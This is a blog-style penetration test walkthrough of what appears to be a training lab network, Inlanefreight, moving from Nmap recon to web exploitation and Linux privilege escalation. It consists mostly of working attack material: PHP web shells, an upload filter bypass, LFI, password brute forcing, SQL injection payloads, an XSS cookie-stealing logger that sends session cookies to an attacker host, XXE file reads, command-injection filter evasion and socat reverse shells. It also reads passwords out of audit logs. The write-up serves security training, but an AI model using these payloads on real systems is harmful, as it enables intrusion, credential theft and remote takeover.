Attacking Enterprise Networks

Anton Hoang

8/16/202638 min read

black blue and yellow textile

Inlanefreight LTD has contracted to perform a full-scope External Penetration Test to assess their perimeter security.

The client has asked us to identify as many vulnerabilities as possible; therefore, evasive testing is not required. They would like to see what sort of access can be achieved by an anonymous user on the Internet.

Per the Rules of Engagement (RoE), if we can breach the DMZ and gain a foothold into the internal network, they would like us to see how far we can take that access, up to and including Active Directory domain compromise. The client has not provided web application, VPN, or Active Directory user credentials. The following domain and network ranges are in scope for testing:

The customer has provided the primary domain and internal networks but has not given specifics on the exact subdomains within this scope nor the "live" hosts we will encounter within the network. They would like us to perform discovery to see what type of visibility an attacker can gain against their external network.

External Testing:

  • 10.129.x.x ("external" facing target host).

  • *.inlanefreight.local (all subdomains).

Internal Testing:

  • 172.16.8.0/23

  • 172.16.9.0/23

  • INLANEFREIGHT.LOCAL (Active Directory domain).

sudo nmap -A -p- --open -oA portscanning <target-ip>

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_-rw-r--r-- 1 0 0 38 May 30 17:16 flag.txt

| ftp-syst:

| STAT:

| FTP server status:

| Connected to ::ffff:10.10.14.15

| Logged in as ftp

| TYPE: ASCII

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text

| At session startup, client count was 1

| vsFTPd 3.0.3 - secure, fast, stable

|_End of status

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 3072 71:08:b0:c4:f3:ca:97:57:64:97:70:f9:fe:c5:0c:7b (RSA)

| 256 45:c3:b5:14:63:99:3d:9e:b3:22:51:e5:97:76:e1:50 (ECDSA)

|_ 256 2e:c2:41:66:46:ef:b6:81:95:d5:aa:35:23:94:55:38 (ED25519)

25/tcp open smtp Postfix smtpd

|_ssl-date: TLS randomness does not represent time

| ssl-cert: Subject: commonName=ubuntu

| Subject Alternative Name: DNS:ubuntu

| Not valid before: 2022-05-30T17:15:40

|_Not valid after: 2032-05-27T17:15:40

|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING

53/tcp open domain

| fingerprint-strings:

| DNSVersionBindReqTCP:

| version

| bind

| dns-nsid:

|_ bind.version:

80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

|_http-server-header: Apache/2.4.41 (Ubuntu)

|_http-title: Inlanefreight

110/tcp open pop3 Dovecot pop3d

|_ssl-date: TLS randomness does not represent time

| ssl-cert: Subject: commonName=ubuntu

| Subject Alternative Name: DNS:ubuntu

| Not valid before: 2022-05-30T17:15:40

|_Not valid after: 2032-05-27T17:15:40

|_pop3-capabilities: SASL TOP PIPELINING STLS RESP-CODES AUTH-RESP-CODE CAPA UIDL

111/tcp open rpcbind 2-4 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100000 3,4 111/tcp6 rpcbind

|_ 100000 3,4 111/udp6 rpcbind

143/tcp open imap Dovecot imapd (Ubuntu)

|_imap-capabilities: LITERAL+ LOGIN-REFERRALS more Pre-login post-login ID capabilities listed have LOGINDISABLEDA0001 OK ENABLE IDLE STARTTLS SASL-IR IMAP4rev1

|_ssl-date: TLS randomness does not represent time

| ssl-cert: Subject: commonName=ubuntu

| Subject Alternative Name: DNS:ubuntu

| Not valid before: 2022-05-30T17:15:40

|_Not valid after: 2032-05-27T17:15:40

993/tcp open ssl/imap Dovecot imapd (Ubuntu)

|_ssl-date: TLS randomness does not represent time

| ssl-cert: Subject: commonName=ubuntu

| Subject Alternative Name: DNS:ubuntu

| Not valid before: 2022-05-30T17:15:40

|_Not valid after: 2032-05-27T17:15:40

|_imap-capabilities: LITERAL+ LOGIN-REFERRALS AUTH=PLAINA0001 post-login ID capabilities more have listed OK ENABLE IDLE Pre-login SASL-IR IMAP4rev1

995/tcp open ssl/pop3 Dovecot pop3d

| ssl-cert: Subject: commonName=ubuntu

| Subject Alternative Name: DNS:ubuntu

| Not valid before: 2022-05-30T17:15:40

|_Not valid after: 2032-05-27T17:15:40

|_ssl-date: TLS randomness does not represent time

|_pop3-capabilities: SASL(PLAIN) TOP PIPELINING CAPA RESP-CODES AUTH-RESP-CODE USER UIDL

8080/tcp open http Apache httpd 2.4.41 ((Ubuntu))

|_http-server-header: Apache/2.4.41 (Ubuntu)

| http-open-proxy: Potentially OPEN proxy.

|_Methods supported:CONNECTION

|_http-title: Support Center

<SNIP>

After enumerated these following services, the finding concluded:

  • FTP: Able to login anonymous, but in a restricted environment.

  • SSH: SSH version has no known vulerabilities (at the time of writing), no weak credentials found.

  • SMTP: Low Risk - VRFY command is enabled.

  • rpcbind: Low Risk - Unnecessary Exposed Services.

The Nmap scans uncovered a few interesting services:

  • Port 21: FTP

  • Port 22: SSH

  • Port 25: SMTP

  • Port 53: DNS

  • Port 80: HTTP

  • Ports 110/143/993/995: imap & pop3

  • Port 111: rpcbind

Start off with a quick initial Nmap scan against our target to get a lay of the land and see what we're dealing with.

# DNS Zone Transfer

dig axfr inlanefreight.local @<target-ip>

# Vhost Discovery

ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt:FUZZ -u http://<target-ip>/ -H 'Host: FUZZ.inlanefreight.local' -fs 15157 -s | sort -u > subdomains.txt

To start web enumeration, we first need to perform a DNS Zone Transfer and a Vhost discovery for this target to discovery subdomains within the server.

Once the scan is complete, add the discovered subdomains to the /etc/hosts.

/careers.inlanefreight.local

Below are the enumeration processes and findings for each subdomains.

Anything with dev in the URL or name is interesting, as this could potentially be accidentally exposed and riddled with flaws/not production-ready. Unfortunately weak password combinations and authentication bypass payload yield no results. However, we can enumerate subdirectories for this server.

There was not much information we were able to gathered from this. However, when tweaking the number within the id parameter of the URL shows that we can access other users' profiles and see what jobs they applied to. This is a classic example of an Insecure Direct Object Reference (IDOR) vulnerability.

/dev.inlanefreight.local

When browsing to http://careers.inlanefreight.local/, there is an option for user registration. We can test this to see if there are any vulnerability within this web applications.

ffuf -u http://dev.inlanefreight.local/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php -t 300

<SNIP>

.htaccess [Status: 403, Size: 288, Words: 20, Lines: 10, Duration: 82ms]

[Status: 200, Size: 2048, Words: 643, Lines: 74, Duration: 84ms]

.hta.php [Status: 403, Size: 288, Words: 20, Lines: 10, Duration: 2063ms]

.htpasswd [Status: 403, Size: 288, Words: 20, Lines: 10, Duration: 2064ms]

.php [Status: 403, Size: 288, Words: 20, Lines: 10, Duration: 4075ms]

.hta [Status: 403, Size: 288, Words: 20, Lines: 10, Duration: 4075ms]

.htpasswd.php [Status: 403, Size: 288, Words: 20, Lines: 10, Duration: 5092ms]

.htaccess.php [Status: 403, Size: 288, Words: 20, Lines: 10, Duration: 5095ms]

css [Status: 301, Size: 332, Words: 20, Lines: 10, Duration: 81ms]

images [Status: 301, Size: 335, Words: 20, Lines: 10, Duration: 78ms]

index.php [Status: 200, Size: 2048, Words: 643, Lines: 74, Duration: 80ms]

index.php [Status: 200, Size: 2048, Words: 643, Lines: 74, Duration: 81ms]

js [Status: 301, Size: 331, Words: 20, Lines: 10, Duration: 81ms]

server-status [Status: 403, Size: 288, Words: 20, Lines: 10, Duration: 77ms]

upload.php [Status: 200, Size: 14, Words: 2, Lines: 2, Duration: 85ms]

uploads [Status: 301, Size: 336, Words: 20, Lines: 10, Duration: 79ms]

:: Progress: [9228/9228] :: Job [1/1] :: 152 req/sec :: Duration: [0:00:20] :: Errors: 0 ::

The uploads and upload.php pages immediately call our attention. If we're able to upload a PHP web shell, chances are we can browse right to it in the /uploads directory, which has directory listing enabled.

Finding: Low Risk - Directory Listing Enabled.

Browsing to /upload.php gives us a 403 Forbidden error message and nothing more, which is interesting because the status code is a 200 OK success code.

To understand this further, we can usse Burp Suite here to capture the request and see if we can figure out what's going on.

Capture the request and then re-request the page using the OPTIONS method, we see that various methods are allowed:

  • GET,POST,PUT,TRACK,OPTIONS.

Cycling through the various options, each gives us a server error until we try the TRACK method and see that the X-Custom-IP-Authorization: header is set in the HTTP response.

X-Custom-IP-Authorization: 172.18.0.1

By adding the header X-Custom-IP-Authorization: 127.0.0.1 to the HTTP request in Burp Repeater and then requesting the page with the TRACK method again yields an interesting result. It appears that there is a file upload form in the HTTP response body.

127.0.0.1 represents localhost—the loopback address that refers to the local server itself.

In web security, developers often restrict sensitive administrative features (like file upload tools or admin panels) so that only traffic originating directly from the local server can access them.

Why 127.0.0.1 Works Here

  1. Poor Developer Security Logic: The backend code checks the HTTP header X-Custom-IP-Authorization to determine where the request is coming from instead of validating the actual TCP socket connection.

  2. IP Spoofing / Header Injection: Because HTTP headers are controlled entirely by the client, you can send X-Custom-IP-Authorization: 127.0.0.1 to trick the web server into believing the request is coming from an internal, trusted admin session on the local machine (127.0.0.1).

  3. Bypassing Access Controls: Once the server believes you are making the request locally, it grants access to the restricted upload form in the response body.

By copying the resultant URL and Request in Browser, then navigate to the target URL. A photo editing platform loads for us.

We can click on the Browse button and attempt to upload a simple webshell with the following contents:

Then save the file as 1284u12984u12094i194u129.php or something similar.

Attempting to upload the .php file directly results in an error: "JPG, JPEG, PNG & GIF files are allowed.", which shows that some weak client-side validation is likely in place. Grab the POST request, send it to Repeater once again and try modifying the Content-Type: header in the request to see if we can trick the application into accepting our file as valid.

We can now use cURL to interact with this web shell and execute commands on the web server.

WEB ENUMERATION

We then feed EyeWitness an Nmap.xml file or a Nessus scan.

awk '{print $0 ".inlanefreight.local"}' subdomains.txt > subdomains_full.txt

eyewitness -f subdomains_full.txt -d ILFREIGHT_subdomain_EyeWitness

Starting Web Requests (11 Hosts)

Attempting to screenshot http://inlanefreight.local

Attempting to screenshot http://blog.inlanefreight.local

Attempting to screenshot http://careers.inlanefreight.local

Attempting to screenshot http://dev.inlanefreight.local

Attempting to screenshot http://gitlab.inlanefreight.local

Attempting to screenshot http://ir.inlanefreight.local

Attempting to screenshot http://status.inlanefreight.local

Attempting to screenshot http://support.inlanefreight.local

Attempting to screenshot http://tracking.inlanefreight.local

Attempting to screenshot http://vpn.inlanefreight.local

Attempting to screenshot http://monitoring.inlanefreight.local

Finished in 34.79010033607483 seconds

[*] Done! Report written in the /home/tester/INLANEFREIGHT-IPT/Evidence/Scans/Web/ILFREIGHT_subdomain_EyeWitness folder!

Would you like to open the report now? [Y/n] n

awk '{print "<target-ip> " $0 ".inlanefreight.local"}' subdomains.txt | sudo tee -a /etc/hosts

Finding: Medium Risk - Potential for Sensitive Data Exposure.

<?php system($_GET['cmd']); ?>

echo '<?php system($_GET["cmd"]); ?>' > 1274129432193182851294.php

curl "http://dev.inlanefreight.local/uploads/1274129432193182851294.php?cmd=id"

sudo wpscan -e ap,u -t 500 --url http://ir.inlanefreight.local

<SNIP>

[+] WordPress version 6.0 identified (Insecure, released on 2022-05-24).

| Found By: Rss Generator (Passive Detection)

| - http://ir.inlanefreight.local/feed/, <generator>https://wordpress.org/?v=6.0</generator>

| - http://ir.inlanefreight.local/comments/feed/, <generator>https://wordpress.org/?v=6.0</generator>

[+] WordPress theme in use: cbusiness-investment

| Location: http://ir.inlanefreight.local/wp-content/themes/cbusiness-investment/

| Last Updated: 2026-04-11T00:00:00.000Z

| Readme: http://ir.inlanefreight.local/wp-content/themes/cbusiness-investment/readme.txt

| [!] The version is out of date, the latest version is 1.0

| Style URL: http://ir.inlanefreight.local/wp-content/themes/cbusiness-investment/style.css?ver=6.0

<SNIP>

[+] Enumerating All Plugins (via Passive Methods)

[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] b2i-investor-tools

| Location: http://ir.inlanefreight.local/wp-content/plugins/b2i-investor-tools/

| Last Updated: 2025-05-22T05:29:00.000Z

| [!] The version is out of date, the latest version is 1.0.8.2

<SNIP>

[+] mail-masta

| Location: http://ir.inlanefreight.local/wp-content/plugins/mail-masta/

| Latest Version: 1.0 (up to date)

| Last Updated: 2014-09-19T07:52:00.000Z

| Found By: Urls In Homepage (Passive Detection)

| Confirmed By: Urls In 404 Page (Passive Detection)

| Version: 1.0 (80% confidence)

| Found By: Readme - Stable Tag (Aggressive Detection)

| - http://ir.inlanefreight.local/wp-content/plugins/mail-masta/readme.txt

<SNIP>

i] User(s) Identified:

[+] ilfreightwp

| Found By: Rss Generator (Passive Detection)

| Confirmed By:

| Wp Json Api (Aggressive Detection)

| - http://ir.inlanefreight.local/wp-json/wp/v2/users/?per_page=100&page=1

| Rss Generator (Aggressive Detection)

| Author Sitemap (Aggressive Detection)

| - http://ir.inlanefreight.local/wp-sitemap-users-1.xml

| Author Id Brute Forcing - Author Pattern (Aggressive Detection)

| Login Error Messages (Aggressive Detection)

[+] john

| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

| Confirmed By: Login Error Messages (Aggressive Detection)

[+] tom

| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

| Confirmed By: Login Error Messages (Aggressive Detection)

[+] james

| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

| Confirmed By: Login Error Messages (Aggressive Detection)

Upon investigating the web server, this URL seems to be hosted with WordPress. Using WPScan we can enumerate which plugins and users are available.

/ir.inlanefreight.local

The Mail Masta plugin is an older plugin with several known vulnerabilities. We can use this exploit to read files on the underlying file system by leveraging a Local File Inclusion (LFI) vulnerability.

curl http://ir.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

<SNIP>

Finding: Low Risk - Directory Listing Enabled.

Furthermore, we can brute-force account passwords using SecLists Github repo wordlist.

WordPress login page is often located at /wp-login.php. Once logged in with valid credentials, we got redirected to http://ir.inlanefreight.local/wp-admin/. Here we can browse for the web application themes, pick an inactive theme and edit the 404.php file to add our PHP web shell to gain RCE.

Click on Update File at the bottom to save. We know that WordPress themes are located at /wp-content/themes/<theme name>. We can interact with the web shell via the browser or using cURL. As always, we can then utilize this access to gain an interactive reverse shell and begin exploring the target.

From the results, we can confirm the following information:

  • The WordPress core version is the latest (6.0 at the time of writing).

  • The theme in use is cbusiness-investment.

  • The b2i-investor-tools plugin is installed.

  • The mail-masta plugin is installed.

  • Available users:

    • ilfreightwp

    • tom

    • james

    • john

sudo wpscan --url http://ir.inlanefreight.local -P /usr/share/seclists/Passwords/Common-Credentials/darkweb2017_top-100.txt -U ilfreightwp

<SNIP>

[+] Performing password attack on Xmlrpc against 1 user/s

[SUCCESS] - ilfreightwp / password1

Trying ilfreightwp / 123123 Time: 00:00:00 <===== > (10 / 109) 9.17% ETA: ??:??:??

[!] Valid Combinations Found:

| Username: ilfreightwp, Password: <REDACTED>

system($_GET[0]);

curl http://ir.inlanefreight.local/wp-content/themes/twentytwentyone/404.php?0=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Finding: High Risk - Weak WordPRess Admin Credentials.

This website offer a Search logs that allows user input their query. Entering a single quote (') throws a MySQL error message which indicates the presence of a SQL injection vulnerability.

/status.inlanefreight.local

To exploit this, we can manually enter our payload such as:

' union select null, database(), user(), @@version -- //

However, this requires a lot of manual works changing around to display its database. Instead, we can use SQLmap to exploit this vulnerability.

Next, run this file through sqlmap.

sqlmap -r sqlinject.txt --dbms=mysql

<SNIP>

[00:07:24] [INFO] (custom) POST parameter '#1*' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n

sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:

---

Parameter: #1* ((custom) POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: searchitem=%' AND 6921=6921#

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)

Payload: searchitem=%' AND GTID_SUBSET(CONCAT(0x716a787071,(SELECT (ELT(5964=5964,1))),0x716a7a7171),5964) AND 'lVzh%'='lVzh

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: searchitem=%' AND (SELECT 1227 FROM (SELECT(SLEEP(5)))jrOp) AND 'ENPh%'='ENPh

Type: UNION query

Title: MySQL UNION query (NULL) - 4 columns

Payload: searchitem=%' UNION ALL SELECT NULL,NULL,CONCAT(0x716a787071,0x78724f676c7967575469546e6b765775707470466457486b78436373696d57546b4f72704d47735a,0x716a7a7171),NULL#

We can further enumerate for available databases and tables as follows:

sqlmap -r sqlinject.txt --dbms=mysql --dbs

<SNIP>

available databases [5]:

[*] information_schema

[*] mysql

[*] performance_schema

[*] status

[*] sys

sqlmap -r sqlinject.txt --dbms=mysql -D status --tables

<SNIP>

---

[00:10:29] [INFO] testing MySQL

[00:10:29] [INFO] confirming MySQL

[00:10:29] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (eoan or focal)

web application technology: Apache 2.4.41

back-end DBMS: MySQL >= 8.0.0

[00:10:29] [INFO] fetching tables for database: 'status'

Database: status

[2 tables]

+---------+

| company |

| users |

+---------+

Finding: High Risk - SQL Injection

First capture a POST request within Burp, mark searchitem parameter (which search for user inputs as shown above) with a * for injection point and save to a text file on local machine.

POST / HTTP/1.1

Host: status.inlanefreight.local

Content-Length: 12

Cache-Control: max-age=0

Accept-Language: en-US,en;q=0.9

Origin: http://status.inlanefreight.local

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://status.inlanefreight.local/

Accept-Encoding: gzip, deflate, br

Cookie: PHPSESSID=vjai05uiunr71i0n9hajglnvt1

Connection: keep-alive

searchitem=*

/support.inlanefreight.local

When browsing to http://support.inlanefreight.local, it indicate that this is an IT support portal. Trying common credentials within login portals was unsuccessful, so we can try to Submit a ticket to see if it's vulnerable to XXS attacks.

Under the /ticket.php page, fill out the required details and include the following code within the Message field.

"><script src=http://<local-ip>:8443/Testing></script>

If our Netcat is configured, we should receive a call back.

nc -lnvp 8443

Listening on 0.0.0.0 8443

Connection received on 10.129.229.147 59210

GET /Testing HTTP/1.1

Host: 10.10.14.209:8443

Connection: keep-alive

User-Agent: HTBXSS/1.0

Accept: /

Referer: http://127.0.0.1/

Accept-Encoding: gzip, deflate

Accept-Language: en-US

<?php

if (isset($_GET['c'])) {

$list = explode(";", $_GET['c']);

foreach ($list as $key => $value) {

$cookie = urldecode($value);

$file = fopen("cookies.txt", "a+");

fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");

fclose($file);

}

}

?>

We would also need a .js (java) script to inject the the .php payload to target server.

new Image().src='http://<local-ip>:8443/index.php?c='+document.cookie

Next is to start the PHP listening server, then inject to payload to trigger our .php script.

We should receive a callback with an admin's session cookie.

Now that we have obtained the admin's cookie. We can either use Cookie-Editor or FireFox build-in function to modify our cookie. Once added, navigate to Login, we should be redirected to http://support.inlanefreight.local/dashboard.php.

Finding: High Risk - Cross-Site Scripting (XXS)

Now that we know the web application is vulnerable to XXS attacks. To steal an admin\s cookies, we need to create the following .php file and host it on our server to split the cookie-logging.

"><script src=http://<local-ip>:8443/payload.js></script>

sudo php -S 0.0.0.0:8443

[Wed Aug 12 06:38:34 2026] PHP 8.4.16 Development Server (http://0.0.0.0:8443) started

[Wed Aug 12 06:39:14 2026] 10.129.72.95:47256 Accepted

[Wed Aug 12 06:39:14 2026] 10.129.72.95:47256 [200]: GET /payload.js

[Wed Aug 12 06:39:14 2026] 10.129.72.95:47256 Closing

[Wed Aug 12 06:39:14 2026] 10.129.72.95:47258 Accepted

[Wed Aug 12 06:39:14 2026] 10.129.72.95:47258 [200]: GET /index.php?c=session=<REDACTED>

[Wed Aug 12 06:39:16 2026] 10.129.72.95:47278 Closing

/tracking.inlanefreight.local

Next is tracking subdomain, where the web application allows users to enter a tacking number and return a PDF file showing status of their order.

Upon testing this input field with a random number, the following PDF file was generated.

To understand what type of vulnerabilities we are dealing with (if there is). We can inject either a simple JavaScript or HTML payload as follows:

# JavaScript

<script>document.write('JavaTesting')</script>

# HTML payload

<h1>HTML Testing</h1>

These posts (1) and (2) discussed leveraging HTML injection, XSS, and SSRF for local file read.

Here is an example of reading local file using XMLHttpRequest (XHR) objects mentioned in the second blog:

  1. Send the test POST request to Burp Repeater and inject the payload.

<script>

x=new XMLHttpRequest;

x.onload=function(){

document.write(this.responseText)};

x.open("GET","file:///etc/passwd");

x.send();

</script>

Finding: High Risk - SSRF to Local File Read vulnerability

/gitlab.inlanefreight.local

Gitlab instances can often reveals confidentials data such as passwords, SSH keys, other informations can could lead to further acess if not configured or protected.

Below is an example of how we can enumerate Gitlab after registering as a Software Developer and browse to /explore page.

It reveals another subdomain that was not possible to brute-force using ffuf and DNS zone transfer.

/shopdev2.inlanefreight.local

Finding: High Risk - Misconfigured Gitlab Instance.

There are a few steps that can implement to limit access to a Gitlab instance such as:

  • Requiring admin approval for new sign-ups.

  • Configured lists of domains allowed for sign-ups.

  • Configuring a deny list.

/shopdev2.inlanefreight.local

With another subdomain discovered from Github Lab, it appears that it requires login credentials upon visiting the website. These underdeveloping sites tend to have weak credentials pair, we can try something like admin:admin.

After testing out for injection vulnerabilities, searching for IDORs and other flaws, there nothing seems to be interesting. However, we can test the purchase function using Burp Suit to see if we were able to perform command injection.

Once we added items to the cart, browse to /cart.php and complete the checkout. If we catch the POST request with Burp, we should see the XML body looks like this:

<?xml version="1.0" encoding="UTF-8"?>

<root>

<subtotal>

undefined

</subtotal>

<userid>

1206

</userid>

</root>

This could be a good sign for XML External Entity (XXE) injection as the form seems to be sending data to the server in XML format.

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt:FUZZ -u http://shopdev2.inlanefreight.local/FUZZ -e .php,.html,.js,.bak

Note: Assume we don't know the /cart.php extensions, we can use directory and file fuzzing tools such as ffuf and gobuster.

Below is an example of a XXE payload that reads /etc/passwd file:

Finding: High Risk - XML External Entity (XXE) Injection.

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE userid [

<!ENTITY injection SYSTEM "file:///etc/passwd">

]>

<root>

<subtotal>

undefined

</subtotal>

<userid>

1206

</userid>

</root>

/monitoring.inlanefreight.local

Finally, the last subdomain, monitoring.inlanefreight.local. Upon visiting we were redirect to /login.php. After trying autentication bypass payloads, SQL injection and common weak credentials, unfortunately the results seems to be unsuccessful.

However, hydra is a tool that can often be used to brute-force HTTP login forms that can be tested out.

Once we acquired valid credentials and login, we were redirected to /index.php page. This appears to be a monitoring console. By typing help, we were presented with a list of commands.

After trying various basic commands, such as cat /etc/passwd, it appear that we are in a restricted environment.

However, connection_test yields a Success message. If we look at Burp environment, we can see that there is a GET request made to /ping.php for a localhost.

With this in mind, we can attempt to interfere with this request and inject our PHP function such as shell_exec(ping -c 1 127.0.0.1) or perhaps similar using the system() function to execute a command. If the script is coded improperly, it could results in command injection vulnerability.

We can certainly be sure that there is some sort of filtering in place as standards payloads such as |id and ;id results in Invalid input error as shown. It's possible to bypass this using encoded characters such as new-line (%0a).

The results was successful. However, when adding character such as i after the new-line, it results in Invalid input again. Meaning there is a second character blacklist filter.

Nevertheless, we can still bypass this filter using single quotes, for example:

GET /ping.php?ip=127.0.0.1%0a'i'd HTTP/1.1

Which results in 200 OK.

--- 127.0.0.1 ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time 0ms

rtt min/avg/max/mdev = 0.043/0.043/0.043/0.000 ms

uid=1004(webdev) gid=1004(webdev) groups=1004(webdev),4(adm)

If we dig around more, this host seems to have multiple IP address, one of which is placed inside the 172.16.8.0/23 network that was part of the initial scope. Meaning that if we can access to this host, we may be able to piviot into the internal network and start attacking the AD domain.

The next challenge is to find a way to gain reverse shell to this host, but it seems like that space character is also being blacklisted. To be able to inject our payload, we first must understand what is being filter so we can limit our workload.

Using the ($IFS) Linux Environment Variable, we can bypass the filter and read the ping.php file's source code.

# Request

GET /ping.php?ip=127.0.0.1%0a'c'at${IFS}ping.php HTTP/1.1

# Response

<?php

ini_set('display_errors', 1);

ini_set('display_startup_errors', 1);

error_reporting(E_ALL);

$output = '';

function filter($str)

{

$operators = ['&', '|', ';', '\\', '/', ' '];

foreach ($operators as $operator) {

if (strpos($str, $operator)) {

return true;

}

}

$words = ['whoami', 'echo', 'rm', 'mv', 'cp', 'id', 'curl', 'wget', 'cd', 'sudo', 'mkdir', 'man', 'history', 'ln', 'grep', 'pwd', 'file', 'find', 'kill', 'ps', 'uname', 'hostname', 'date', 'uptime', 'lsof', 'ifconfig', 'ipconfig', 'ip', 'tail', 'netstat', 'tar', 'apt', 'ssh', 'scp', 'less', 'more', 'awk', 'head', 'sed', 'nc', 'netcat'];

foreach ($words as $word) {

if (strpos($str, $word) !== false) {

return true;

}

}

return false;

}

if (isset($_GET['ip'])) {

$ip = $_GET['ip'];

if (filter($ip)) {

$output = "Invalid input";

} else {

$cmd = "bash -c 'ping -c 1 " . $ip . "'";

$output = shell_exec($cmd);

}

}

?>

<?php

echo $output;

?>

The result above showns that the majority of options for getting a reverse shell are filtered which will make things difficult. However, Socat is a versatile tool that can be used for catching shells, and even pivoting. If we can find Socat within the target system, we can further enumerate this target.

GET /ping.php?ip=127.0.0.1%0a'w'h'i'ch${IFS}socat HTTP/1.1

Below is a basic command to establish a rever shell connection with Socat:

socat TCP4:<local-ip>:8443 EXEC:/bin/bash

Due to web application filters, we need to modify our command to the following:

GET /ping.php?ip=127.0.0.1%0a's'o'c'a't'${IFS}TCP4:<local-ip>:8443${IFS}EXEC:bash HTTP/1.1

nc -nvlp 8443

listening on [any] 8443 ...

connect to [10.10.14.15] from (UNKNOWN) [10.129.203.111] 51496

Before executing Socat, we must configured a Netcat listener on our attack machine. If successful, we will gain a rever shell connection.

Once connected, we need to upgrate to an interactive TTY. This post describes a few methods.

Example below uses the well-known Python one-liner command to spawn a pseudo-terminal:

python3 -c 'import pty; pty.spawn("/bin/bash")'

However, we will be using socat to launch a reverse shell. First, start a Socat listener on our attack host:

socat file:`tty`,raw,echo=0 tcp-listen:4443

Then trigger a Socat one-liner on the target host:

This will spawn a new reverse shell connection on our attack host.

socat file:`tty`,raw,echo=0 tcp-listen:4443

webdev@dmz01:/var/www/html/monitoring$ id

uid=1004(webdev) gid=1004(webdev) groups=1004(webdev),4(adm)

The id command shown that this user is part of the adm group, meaning they have rights to read ALL logs stored in /var/log. We can use aureport to read audit logs on Linux systems.

aureport --tty | less

Error opening config file (Permission denied)

NOTE - using built-in logs: /var/log/audit/audit.log

WARNING: terminal is not fully functional

- (press RETURN)

TTY Report

===============================================

# date time event auid term sess comm data

===============================================

1. 06/01/22 07:12:53 349 1004 ? 4 sh "bash",<nl>

2. 06/01/22 07:13:14 350 1004 ? 4 su "<REDACTED>",<nl>

3. 06/01/22 07:13:16 355 1004 ? 4 sh "sudo su srvadm",<nl>

4. 06/01/22 07:13:28 356 1004 ? 4 sudo "<REDACTED"

5. 06/01/22 07:13:28 360 1004 ? 4 sudo <nl>

6. 06/01/22 07:13:28 361 1004 ? 4 sh "exit",<nl>

7. 06/01/22 07:13:36 364 1004 ? 4 bash "su srvadm",<ret>,"exit",<ret>

8. 06/01/22 07:13:36 365 1004 ? 4 sh "exit",<nl>

9. 06/01/22 07:13:50 371 0 ? 2 bash "clear",<ret>,"aureport --ty",<ret>,"clear",

<ret>,<up>,<up>,<left>,<left>,"t",<ret>,<up>,<ret>,<up>,<ret>,<up>,<ret>,"clear"

,<ret>,<down>,<down>,<up>,<up>,<ret>

10. 06/01/22 10:25:00 341 0 ? 2 docker "ls",<ret>,"cd /var/www/html",<ret>,"ls",

Note: After executing aureport, press ENTER to display output, then q to return to our shell.

Note 2: If aureport is not installed on target machine, we can attempt to transfer the Binary via Web Server.

From the above output, it looks like a user was trying to authenticate as the srvadm user, and we have a potential credential pair:

srvadm:<REDACTED>

Using the su command, we can authenticate as the srvadm user.

Now that we have obtained valid credentials, we can leverage the SSH port from the initial scan and connect for a stable connection.

Note: In case we don't have SSH open to the internet, we may need to achieve persistance in a different way, such as creating a reverse shell binary on the host, execute it via the command injection get a reverse shell or utilise Meterpreter shell then work from there.

ssh srvadm@<target-ip>

srvadm@10.129.73.9's password:

$ /bin/bash -i

srvadm@dmz01:~$ sudo -l

Matching Defaults entries for srvadm on dmz01:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User srvadm may run the following commands on dmz01:

(ALL) NOPASSWD: /usr/bin/openssl

srvadm@dmz01:~$ id

uid=1003(srvadm) gid=1003(srvadm) groups=1003(srvadm)

As seen above, this account has privilege to fully execute openssl binary. GTFOBin can be used to leverage the following:

  • Upload and download files.

  • Gain a reverse shell.

  • Read and write files.

